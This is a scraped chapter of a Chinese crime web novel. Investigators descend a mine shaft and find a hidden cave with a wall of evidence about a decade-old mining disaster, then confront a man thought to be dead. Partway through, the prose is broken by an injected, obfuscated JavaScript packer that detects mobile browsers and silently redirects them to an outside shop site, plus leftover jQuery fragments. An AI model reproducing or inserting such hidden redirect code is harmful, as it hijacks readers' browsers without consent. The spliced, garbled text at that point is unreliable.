文趣网 > 都市小说 > 暗角 > 10. 第 10 章
    他忽然笑了,笑声在硐室里回荡,尖利而破碎。

    “他说了,只要有人走进这个硐室,看到这只眼睛,游戏就正式开始。”

    林行舟快步走到那个洞口,用手电照下去。

    光束穿透了大约三十米的垂直深度,照到了底部。那里有一个更小的空间,隐约能看到地面上铺着被褥,墙上挂着照片,角落里堆着一些看不清的物品。

    还有一张纸,平整地放在洞口正下方的地面上,上面用红色萤石粉末写着几个大字:

    “林警官,你终于来了。”

    在手电光线的照耀下,那些字闪闪发光,像是一句从地狱底传来的问候。

    而在字迹的右下角,还画着一个符号,

    一只简笔画的眼睛,瞳孔里写着两个字母:

    S.J.

    苏建国。

    苏露漪父亲的名字缩写。

    第七章第三层

    苏露漪在看到那两个字母的瞬间,整个人像被电击了一样僵住了。

    她的手电光柱直直地打在洞口底部那张纸上,光束微微颤抖,不是因为体力不支,而是因为她的手在抖。林行舟见过她在许泽宇的尸体前冷静分析的样子,见过她在会议室里被陆剑锋暗讽时面不改色的样子,但他从来没见过她这样。

    “S.J.”她读出了那两个字母,声音干涩,“苏建国。”

    “不一定。”林行舟说,“也可能是别人故意用这个缩写来引你下去。马德胜,或者说下面那个人,他知道你要来。他知道我们所有人的名字,知道我们要调查的方向,他布置了这一切,从萤石到账本到这张纸条。这是一个精心设计的局。”

    “我知道。”苏露漪深吸了一口气,手稳住了,“但不管是局还是陷阱,我都要下去。”

    “我没说不下去。”林行舟转头对江潮说,“你和两名刑警留在上面,看好许维诚,保持通讯。我跟苏顾问下去。”

    江潮急了:“林哥,这个洞太窄了,万一有情况,上面支援来不及,”

    “所以需要你在上面接应。”林行舟打断他,语气不重,但很坚定,“如果一个小时后我们没有上来,你立刻请求增援,把整个矿区翻过来也要找到我们。”

    江潮张了张嘴,最终只说了两个字:“小心。”

    洞口边缘的铁链被固定在一个深深打入岩壁的膨胀螺栓上,螺栓很新,应该是近期安装的。林行舟用力拽了几下,确认牢固后,第一个抓住铁链滑了下去。

    井壁湿滑,长满了一种灰白色的苔藓,在头灯照射下泛着诡异的荧光。铁链冰冷刺骨,每滑一段就能感觉到岩壁上的水珠滴在头顶和肩膀上,冰凉得让人头皮发紧。

    三十米的垂直距离,林行舟滑了将近两分钟。靴底触到底部地面的时候,他松开铁链,迅速侧身让出位置,同时用手电快速扫了一圈四周。

    这是一个天然形成的溶洞,面积不大,约四十平方米,高约三米,四壁全是裸露的萤石矿脉。那些矿石在头灯的照射下反射出千千万万个蓝色光点,像是被困在岩壁里的星空。溶洞的一侧有一条人工凿出的通道,不知通向哪里,通道口挂着一条厚重的军绿色帆布门帘,帘子被仔细地系在一边,露出里面的黑暗。

    空气里有一股淡淡的檀香味,和矿道里那股金属腥气完全不同。

    苏露漪落地的声音从身后传来。她解开铁链上的安全扣,走到林行舟身边,头灯的光束扫过溶洞的每一个角落。

    “有人住在这里。”她说。

    确实。溶洞虽然简陋,但收拾得很整齐。靠墙铺着一张床垫,被褥叠成方正的豆腐块,和军营里的标准一模一样。床头有一个用木板钉成的简易书架,上面整齐地排列着几十本书,大部分是法律和矿业方面的专业书籍,还有几本发黄的武侠小说。书架旁边是一个小炭炉,炉上的铁壶还微微冒着热气。墙角堆着几箱矿泉水、罐头和一个便携式瓦斯炉。

    但最引人注目的,是墙上钉着的东西。

    整面岩壁上,用大头针钉满了照片、剪报和手写的笔记,密密麻麻,层层叠叠,几乎覆盖了从地面到洞顶的每一寸空间。这些东西被细心地用彩色丝线连接起来,形成了一张庞大的信息网络图。红色的线连接矿难相关人员,蓝色的线连接翡翠交易链条,黄色的线连接警方和政府官员,白色的线连接时间节点。

    十年前矿难的所有细节,全部被还原在这面墙上。

    林行舟走近那面墙,目光被最中心的一张照片吸引,那是矿难发生前三天拍的,照片上是一群矿工在矿洞口的合影。和他在马德胜《圣经》里看到的是同一张,但这张被放大到了A3纸大小,每个人的脸都被用红笔圈了出来,旁边标注了名字、年龄、家庭情况。

    四十五个红色的圆圈。

    四十五条命。

    照片的下方贴着一张横幅的复印纸,上面打印着几行大字:

    “事故调查报告结论:违规爆破导致瓦斯爆炸。责任人:马德胜(已死亡)。”

    在这行字的下面,有人用血红色的记号笔写了一个大大的字,

    “谎。”

    苏露漪站在那面墙前,目光快速扫过那些剪报和笔记。忽然,她的视线停在了照片墙最角落的一张小照片上。

    那张照片很小,像是一寸证件照的放大版,像素模糊。照片上是一个中年男人,戴着眼镜,笑容温和。照片下面用黑色的线连着另一张纸,纸上写着:“苏建国,《省城晚报》调查记者,2006年9月28日最后一次出现。地点:矿区西侧。状态:失踪。”

    而在苏建国的照片旁边,还有另一张照片。

    那张照片上的人,林行舟认得,是沈重。

    许泽宇案报案人、前刑侦支队警员、现在住在老城区的自由摄影师沈重。

    他的照片下面写着:“沈重,刑侦支队警员,2006年10月辞职。原因:调查矿难真相被上级约谈。状态:在世。”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17733402|209008||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    苏露漪伸出手,指尖轻轻触碰着父亲的照片,没有说话。

    “苏顾问。”林行舟低声叫她。

    她回过神,收回手,表情恢复了惯常的冷峻:“这个房间的主人,把我们每一个人都调查过了。他知道我会来,知道你在查这个案子,知道沈重当年参与过矿难调查。他在这面墙上重建了整个矿难的真相,然后等着我们走进来。”

    “那他现在在哪里?”

    话音未落,溶洞深处那条通道里传来了一声轻微的响动。

    不是脚步声,而是更轻、更有节奏的声音,哒,哒,哒。

    像是金属敲击岩石。

    林行舟拔出枪,和苏露漪交换了一个眼神。两人一前一后,朝那条通道走去。

    掀开帆布门帘,通道只有十米长,尽头是另一个小一些的溶洞。这个溶洞被布置成了一间简易的工作室,正中央是一张用石板搭成的长桌,桌上散落着各种工具:放大镜、锉刀、砂纸、一小罐已经干涸的荧光颜料,还有几颗未经加工的萤石原矿。桌角放着一台老旧的笔记本电脑,屏幕合着,电源线连着墙角的蓄电池组。

    而在桌子后面,坐着一个人。

    那人背对着通道口,低着头,手里拿着一把小小的凿子,正在一颗萤石上刻着什么。刚才那有节奏的金属敲击声,就是凿子敲在石头上的声音。

    他穿着一件洗得发白的深蓝色工装,头发全白了,但身形并不佝偻,反而透着一股常年体力劳动留下的硬朗。他听到脚步声,手中的凿子停了一下,但没有回头。

    “林警官,苏小姐,”他的声音沙哑但平稳,“请稍等,这颗石头还差最后几刀。”

    凿子又响了三下,然后停下了。

    那人放下手中的工具,拿起桌上的一块布,仔细擦了擦那颗萤石。然后,他缓缓转过身来。

    那是一张被时间严重磨损的脸。

    年龄大概六十岁左右,皮肤粗糙得像矿区的岩壁,左脸颊有一道从额头延伸到下巴的长疤,像是被爆炸的碎石划开的。左眼是浑浊的灰白色,已经失明了。但右眼异常明亮,在满室萤石的幽蓝光线里,那只独眼闪着一种难以形容的光。

    是仇恨。

    是执念。

    也是解脱。

    “我叫马德胜。”他说,“十年前就应该死在这座矿里的人。但我没有死,因为那场爆炸发生的时候,我不在井下。”

    林行舟的枪口微微下垂,但没有完全放下:“马德胜,我们需要你配合调查许泽宇和郭大友的死亡案件。你有权,”

    “许泽宇不是我杀的。”马德胜打断了他,语气平静得近乎冷漠,“郭大友也不是。”

    “那你为什么藏在矿道里?为什么绑架许维诚?”

    马德胜站起来,他的身量不高,但站在那里有一种岩石般的稳固。他转身走到墙边,那里挂着一面用矿车铁皮打磨成的简易镜子。在头灯的光线里,他的脸在镜中若隐若现。